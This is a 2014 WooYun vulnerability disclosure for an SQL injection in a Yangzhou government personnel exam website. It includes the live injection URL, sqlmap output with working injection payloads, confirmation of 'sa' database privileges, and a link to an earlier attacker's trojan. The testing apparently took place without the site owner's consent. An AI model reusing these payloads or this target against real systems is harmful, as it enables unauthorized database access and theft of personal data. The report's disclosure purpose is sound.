当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-060623

漏洞标题:扬州市人事考试网分站一处sql注入(sa权限可拿webshell且发现木马)

相关厂商:扬州市人事考试网

漏洞作者: Mosuan

提交时间:2014-05-16 18:44

修复时间:2014-06-30 18:45

公开时间:2014-06-30 18:45

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-16: 积极联系厂商并且等待厂商认领中,细节不对外公开
2014-06-30: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

呵呵

详细说明:

wooyun管理员请看好,别说影响不大,都是数据啊,黑产的最爱啊!!!
1.本来想拿下webshell在提交的,想想觉得gov还是点到为止吧!
2.由于发现前人木马所以决定马上提交(站长请看下有没有被托库)!
3.影响蛮大的,注入是sa权限可跨库!

注入点  http://jxjy.yzrsks.com/news_view.jsp?Nid=59


注入地址:http://jxjy.yzrsks.com/news_view.jsp?Nid=59
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 22:34:05
[22:34:05] [INFO] using 'C:\Users\Administrator\Desktop\渗透工具\sqlmap GUI汉化
版\rar\output\jxjy.yzrsks.com\session' as session file
[22:34:05] [INFO] resuming back-end DBMS 'microsoft sql server 2005' from sessio
n file
[22:34:05] [INFO] testing connection to the target url
[22:34:05] [INFO] heuristics detected web page charset 'GB2312'
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: Nid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Nid=59 AND 7243=7243
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: Nid=-5374 UNION SELECT NULL, NULL, NULL, NULL, NULL, NULL, CHAR(58)
+CHAR(112)+CHAR(100)+CHAR(103)+CHAR(58)+CHAR(120)+CHAR(106)+CHAR(99)+CHAR(85)+CH
AR(116)+CHAR(120)+CHAR(110)+CHAR(73)+CHAR(89)+CHAR(109)+CHAR(58)+CHAR(119)+CHAR(
112)+CHAR(100)+CHAR(58)--
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Nid=59; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Nid=59 WAITFOR DELAY '0:0:5'--
---
[22:34:05] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2005
[22:34:05] [INFO] fetching current user
current user: 'sa'
[22:34:06] [INFO] Fetched data logged to text files under 'C:\Users\Administrato
r\Desktop\渗透工具\sqlmap GUI汉化版\rar\output\jxjy.yzrsks.com'


.jpg


前人木马

http://jxjy.yzrsks.com/123.txt


.jpg


漏洞证明:

详细说明

修复方案:

过滤,检查下服务器等....

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝